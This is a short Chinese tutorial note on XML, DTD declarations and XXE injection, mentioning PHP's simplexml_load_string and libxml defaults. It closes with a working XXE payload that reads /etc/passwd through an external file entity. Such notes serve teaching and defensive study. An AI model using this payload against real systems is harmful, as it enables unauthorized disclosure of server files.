XML:
可扩展标记语言
XML文档格式:
<!--第一部分:XML声明-->
<?xml version="1.0"?>
<!--第二部分:文档类型定义DTD-->
<!DOCTYPE note [<!--定义此文档是note类型的文档-->
<!ENTITY entity-name SYSTEM "URL/URL"> <!--外部实体声明-->]>
<!--第三部分:文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
DTD:
文档类型定义(Document Type Definition),用来为XML文档定义语法约束。
1. DTD内部声明
<!DOCTYPE 根元素[元素声明]>
2. DTD外部引用
<!DOCTYPE 根元素名称SYSTEM “外部的DTD的URI”>
3. 引用公共的DTD
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公共DTD的URI">
XXE:
XML外部实体注入(XML External Entity Injection)。
XXE漏洞发生在应用程序解析XML输入时,没有禁止对外部实体的加载,导致攻击者可以构造一个恶意的XML
(PHP解析XML用的是libxml,其在>=2.9.0版本后默认禁止)
simplexml_load_string()
用于接收格式正确的XML文档,并解析成SimpleXMLElement对象。
外部实体引用payload:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd"> //将file的内容复值给f
]>
<name>&f;</name> //读取f可读取file的值